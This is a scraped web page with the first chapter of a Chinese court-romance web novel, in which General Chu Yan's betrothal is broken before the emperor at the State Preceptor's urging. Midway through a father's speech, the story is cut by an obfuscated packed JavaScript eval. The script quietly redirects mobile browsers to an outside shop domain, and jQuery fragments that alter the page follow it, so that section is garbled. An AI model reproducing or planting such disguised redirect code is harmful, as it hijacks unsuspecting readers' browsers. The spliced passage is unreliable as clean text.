文趣网 > 其他小说 > 对抗路!捡的猫是高冷国师 > 1. 不要退婚啊!
    “这天是越来越冷了。”

    “可不是,霜寒露冻的……”

    “国师又没来。”

    “等着吧,还有一刻钟呢。”

    卯时,天还未亮,身侧同僚三两结伴进殿,楚晏半阖眼有一搭没一搭地听他们寒暄。

    “国师每日都只比皇上早一步到,御史为何从不弹劾他?”

    “慎言!”“那可是国师啊!”

    “下官只是好奇,岂敢对国师不敬。”那人自知失言,怯怯道,“许是天寒……”

    话音未落,头发银白的老太傅和元老陈国公并肩而行,嘴里念叨着“你风湿也犯了?”“老了!不中用啦,寒气一重就钻心疼!”而后越过众人慢悠悠晃进殿。

    “……”

    “……”

    楚晏轻轻一哂。

    男人五官深刻挺拔,长眉入鬓,狼眸半阖,显出几分冷倦。他身形高挑悍利,分明是令人生畏的气势,深衣袍服偏又中和了几分凶戾。可低眉抬眼间,依旧有丝丝血气从骨子里无声渗出来,那是再如何伪装收敛,也掩不住的冷漠杀伐。

    然而人逢喜事精神爽,随着他抬步迈进大殿,光影将他英俊的面庞切割成两面,明亮的那面愈来愈生动,直至覆盖全身。楚晏微微扬起下颚,眉目舒展,唇角含笑,又绽出属于毛头小子的爽利来。

    殿内同僚纷纷迎上前恭贺道喜。

    “楚将军好事将近啊!”

    “早就听闻定远侯家的千金貌美无双,聪慧过人,乃世家女之典范,能得美人倾心,楚将军实在是好福气。”

    “而且楚大人提亲当日就寻人问过名了,据说八字非常相合……”

    “天赐良缘啊!”“那可不!”“也就只有楚将军这样的,才配得上此等佳人啊。”“真给咱武将长脸!”

    众人你一言我一语,什么郎才女貌,佳偶天成,夸得天花乱坠,楚晏享受他们的吹捧,内心飘飘然偏又拿腔作调装出一番谦逊模样,一一抱拳还礼谢过。

    有人问:“如今进行到哪一步了?纳吉没有?定好吉日可别忘了知会我们啊。”

    楚晏爽快应下,想了想道:“前些日他们把我胎毛要去了,这算哪步?”

    众臣:“……”

    大魏两姓联姻,三媒六礼,从没有听说过谁家需要胎发的,难道定远侯家的千金有什么不为人知的特殊癖好?

    楚父听得嘴角一抽,忙转身向亲家赔礼:“犬子无状,冒犯了侯爷,还望侯爷莫要往心里去。”

    定远侯眼神飘忽,囫囵道:“少年郎嘛,小事,小事……”

    丞相凑过来,小声问:“侯爷要楚将军的胎发有何用啊?”

    定远侯闻言愈发心虚,支吾着不知如何应答。

    卯时三刻,国师大人姗姗来迟。

    清越的环佩声隐隐绰绰传来,原本闹哄哄的众臣瞬时噤声。

    楚晏满脸鄙夷地看过去,只一个照面,又立刻夹着尾巴收回来。看天看地看龙椅,就是不往右侧瞧。

    大魏国师有个广为人知的怪癖,常年白衣,却喜珠玉。

    此人今日也是一身华贵白衣,颈间璎珞流光溢彩,满头银丝自冠玉垂落,清冷而昳丽。他走路毫无声息,唯有腰侧两枚银玉微微摇曳碰撞,那声音极其抓耳,又如此人一般刺挠,强势地,固执往耳朵里钻。

    楚晏烦躁地揉了揉耳朵,末了又觉得实在不应该,想他楚照霜,尸山里来血海里去,一个眼神就露怯,要旁人如何看你?

    于是他微微侧身,视线一寸寸挪过去,正欲睁圆了眼睛细瞧。

    却猝然对上一双极冷的浅蓝瞳眸。

    那目光带着一贯的淡漠,居高临下,又轻飘飘的,只一眼便收回去。

    蔑视!

    赤裸裸的蔑视!

    楚晏心一横,抄起袖子就要上。

    这时,苏乐公公的声音响起:“皇上驾到——”

    百官立刻正身行礼相迎。

    “皇上,祭祀事宜礼部已安排妥当,只是……”礼部尚书齐逢年出列,迟疑道,“只是微臣总觉得祭坛周围有些怪异,监正大人也查不明何物作乱,恐怕需要国师亲自查探一番……”

    刚从北边回来的漓玉:“……”

    祭天祈福乃国之大事,容不得丝毫闪失,皇帝垂眸道:“有劳国师了。”

    漓玉缓缓一礼:“臣遵旨。”

    见其眉眼冷淡隐有倦色,皇帝不忍道:“此事过后,朕免你三日早朝。”

    漓玉:“谢皇上。”

    楚晏臭着脸,小声嘀咕:“至于么,笑那么开心……”

    身侧的武将:“?”

    武将看了眼国师,又看看楚将军,表情逐渐惊悚。

    要事奏完,殿内逐渐安静下来,皇帝再三确定无事,刚欲退朝,群臣中又有一人站了出来。

    是定远侯。

    不知为何,楚晏眼皮重重一跳。

    皇帝:“爱卿有何事要奏啊?”

    定远侯惭愧道:“微臣惶恐,是小女与楚将军的婚事,还请皇上做主。”

    “略有耳闻。”皇帝笑道,“二人佳偶天成,乃天赐良缘。既然爱卿要朕做主,那朕便沾点喜气,择日不如撞日,即刻下旨赐婚。”

    “不!”定远侯顾不上冒犯,告了声罪语速飞快道,“……臣欲退婚。”

    楚父:“!!!”

    众臣:“???”

    楚晏:“……”

    犹如惊雷当空劈下,满座大惊,众臣面面相觑,转瞬便闹闹哄哄炸开了锅。

    皇帝也奇道:“为何?”

    定远侯满脸痛色:“回皇上,小女与楚将军八字不合,若强行联姻,恐无法善终。此非良缘,微臣恳请皇上做主,婚事就此作罢。”

    “绝无可能!”楚父出列,面色涨红道:“皇上,臣已请高人问名,犬子与定远侯千金乃天造地设的一对,当日在场之人皆可作证!”

    定远侯坚持道:“……高人有误啊。”

    “何人说的?”楚父反应激烈,“可敢与我当面对质?”

    定远侯支吾不敢言。

    楚父见他那模样,得意哼声:“我将军府聘礼早已备足,万不会委屈了侯府千金,侯爷若还有其他顾虑,不妨当面提出。如今空口无凭便要轻言退婚,要我如何信你?又置我楚家于何地?”

    定远侯面露难色,朝皇帝一拱手:“是我侯府有愧,但事出紧急,臣也是昨夜才知,左思右想拿不定主意,才斗胆请皇上做主,改日定登门赔罪。”

    说罢,又对楚晏长长一揖,“但贤侄,对不住了。今日我就是豁出这张老脸,此事也绝不可行。”

    楚晏差点跳起来,忙侧身避开,又还了侯爷一礼:“侯爷言重……”

    “言重个屁!”楚骁一把将儿子扒开,意思是你站我身后,爹来,“你今日必须要给个交代!”

    楚晏看了眼皇帝:“爹不至于……”

    “我楚家究竟有何处对不起你?啊?我这边问了名不信,偏要去走那歪门邪道!还拐着弯儿要我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611433|205940||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    儿子的胎毛!我就说你突然找我要胎毛是为哪般,原来搁这儿等着我啊?”

    楚晏两手拽着头顶冒火的老父亲,宽慰道:“不至于,胎毛而已……”

    定远侯上前几步:“楚贤弟……”

    “我呸!休要和我称兄道弟!说!究竟是从哪儿找的妖道,妖言惑众来坏我儿子大事!”楚父大怒,唾沫星子几乎要喷人脸上,“今儿你不给我说开了,下了朝以后见我最好都绕着道走,否则我见一次打一次!”

    楚晏使劲儿扒拉:“父亲真不至于……”

    身后不少武将也赶紧上前,七嘴八舌劝道:“楚大人冷静。”“楚大人莫要冲动。”“有事好说,有事好说……”

    这时,一道清冷的声音传来:“是我。”

    “是你?你谁啊就敢胡言……”楚骁扭头,嚣张的声音一顿,满腔怒火被冷水迎头浇下,呲溜一声,没动静了。

    “……啊?”他愣愣道,“国、国师?”

    楚晏:“……”

    乱哄哄的群臣猝然一静。

    几息后,楚将军忽然炸了,朝堂之上公然被退婚,简直奇耻大辱!

    楚晏三两步越过熄火的父亲,暴起怒骂:“竟然是你?!你个妖道凭什么左右我的事?早知你看我不顺眼,如今竟然无耻到连婚事也要插手!漓玉!你真以为我不敢揍你?!”

    身旁的人拦着拦着忽然飞出去,楚骁下意识伸手一探,堪堪扒拉住对方衣角,死命拽住:“儿子不至于,千万莫要冲动……”

    其余人也劝:“将军息怒,稍安勿躁,稍安勿躁!!”

    群臣又闹成一团,苏公公习以为常,淡定一甩拂尘,安静看戏。

    漓玉眉眼带着淡淡倦意,撩起眼皮看向冲到自己面前的楚晏,无所谓道:“本非良缘,何必强求?定远侯也不过是及时止损。”

    楚晏怒极:“胡说八道的强求!人人都道我与那姑娘八字契合,父亲上门提亲侯爷也满心欢喜地答应了,若非你横插一脚,他又岂会在大庭广众之下说退婚就退婚?八成就是你撺掇的!”

    “是我提议,如何?”漓玉淡然道,“实话实说罢了。”

    “你就是存心诋毁我!!”

    这厮嗓门忒大,漓玉蹙眉,后退半步离他远一些,殊不知这一举动彻底点燃了楚大将军,男人更加暴躁了,唾沫星子四溅:

    “你个两面三刀的伪君子,没本事当面和我对打就喜欢在背地里耍阴招!平日里说什么顺其自然遵循因果,到我这儿就知道多管闲事了?还口口声声说不是良缘让人及时止损,我呸!有本事当着我的面说啊!冠冕堂皇!我告诉你漓玉,今日你要不说清楚,休想竖着走出这道殿门!”

    最后这声吼得气动山河,身后众臣被轰得大脑空白一瞬,齐齐后仰抬头。

    国师大人还是那副万年不变的冰山脸,侧脸线条完美清晰,面色如雪眼睫微垂,浑身上下无一处不精致漂亮,他孤身立于群臣之首,在楚晏的狂轰乱炸面前多少显得势薄,令人心生恻隐。

    许是另有隐情呢?

    众臣这般想着,边劝慰边手忙脚乱地拖住楚晏,堪堪将人控制在原地。

    却见原本安静的国师抬首,那双极冷的琉璃眸满是毫不掩饰的讥讽,张口便道:“有何不敢?”

    “本是你楚照霜命格太煞,命中无姻缘无子嗣。侯爷千金嫁你做什么?跟着你绝后吗?”

    乱哄哄的大殿霎时一静。

    楚父倒吸口凉气,两眼一黑直挺后仰,被人手忙脚乱搀住。